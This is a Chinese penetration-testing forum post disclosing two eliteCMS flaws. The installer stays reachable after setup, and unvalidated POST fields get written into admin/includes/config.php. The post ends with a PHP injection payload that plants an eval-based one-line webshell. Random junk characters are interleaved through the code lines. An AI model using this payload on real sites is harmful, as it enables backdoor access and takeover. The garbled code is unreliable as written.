中国网络渗透测试联盟

标题: eliteCMS安装文件未验证 + 一句话写入安全漏洞 [打印本页]

作者: admin    时间: 2012-11-18 13:59
标题: eliteCMS安装文件未验证 + 一句话写入安全漏洞
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
+ V" ~5 Y4 J, a8 N( Q# Q% R/ ]( Q& d1 `* B" I3 ~/ ^( X/ \& M
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php/ N3 ~0 b' J$ t. t9 r5 I# O$ \0 e2 O
我们来看代码:
- ^) P6 G" w0 y- p' ]
! g3 h, \$ J0 X) @6 z  d8 F* }3 z...* [! F. D7 l9 q  K" G
elseif ($_GET['step'] == "4") {( `# x( P& L0 z; \
    $file = "../admin/includes/config.php";
$ j- z; H6 G+ x0 A2 `. A7 b    $write = "<?php\n";
3 I$ }1 }& Q# K4 }" v4 ]4 X! _4 w    $write .= "/**\n";3 K  A! {2 V3 x! G, b4 }: w% Q- x6 W
    $write .= "*\n";
! r: S, F) u) C8 z, o; e3 |; g    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";. h& s1 o5 p# x, [: I/ A# O6 ?
...略...
+ x1 Z9 l" c1 A9 a    $write .= "*\n";
; u2 a6 Q) M5 P& P    $write .= "*/\n";+ l5 F8 F) q/ f6 f
    $write .= "\n";9 q5 N$ n+ x2 b1 s0 s% W
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";$ {6 {* m5 V; u: b; l9 A- T
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
- f8 e8 Q# o, r6 {! r  O    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";9 S2 ?! @' w4 Q, d  L  h2 L
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";2 O" _$ L3 J9 G/ f' \$ G3 W7 g8 V1 S
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
( l, h" ~( Z- d/ p, K1 i    $write .= "if (!\$connection) {\n";
% }; k$ x% C3 b1 _0 U    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
( t9 I8 E6 S. q: ?' R    $write .= "        \n";2 u, H; z- ~2 ^; {1 n! }7 t
    $write .= "} \n";, V" k# D3 z/ F2 Z% E& B
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";6 c8 ~# }- U0 ?' O& ]4 A* x/ I' D
    $write .= "if (!\$db_select) {\n";! o) z7 q' t/ w; |1 V4 x2 |
    $write .= "        die(\"Database select failed\" .mysql_error());\n";5 P: T! }8 k. O9 G8 F& S6 X
    $write .= "        \n";
7 b2 c- S* X! u6 z    $write .= "} \n";
3 S$ b5 r) Q- m! M    $write .= "?>\n";) e, Y7 D9 Q1 j

7 V% Z7 u9 H6 w/ T% u- \9 k    $writer = fopen($file, 'w');* u  z$ u3 D( D- Q7 q# _$ G7 H
...+ G4 N$ g( Y+ k' R9 Z  p

- d7 O. G; B1 i- W在看代码:
8 Z4 P! H0 ?7 g- ^9 h# q- X
6 v/ @( f7 ^. O  B7 [3 k4 t/ L$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];# j, W3 w5 F, A: \* I4 m+ M# X
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];) r2 M) g  |# C, o7 b" O- u
$_SESSION['DB_USER'] = $_POST['DB_USER'];; b0 I' O( m: v) j4 @2 p  i
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
" l  W# \7 T8 I. l/ U  X
# C/ j0 I+ Y% C2 x- x1 {取值未作任何验证* V8 d. w  \* X8 B- a  G
如果将数据库名POST数据:+ ~5 E' b( h9 ?/ j/ Q
5 O3 Q7 o% t1 z
"?><?php eval($_POST[c]);?><?php9 b2 X' O3 }: p; Y: R+ Q

! F' r" r# |* s2 J+ e2 o. j将导致一句话后门写入/admin/includes/config.php
/ i9 Q9 u  B4 n1 m9 t, k




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2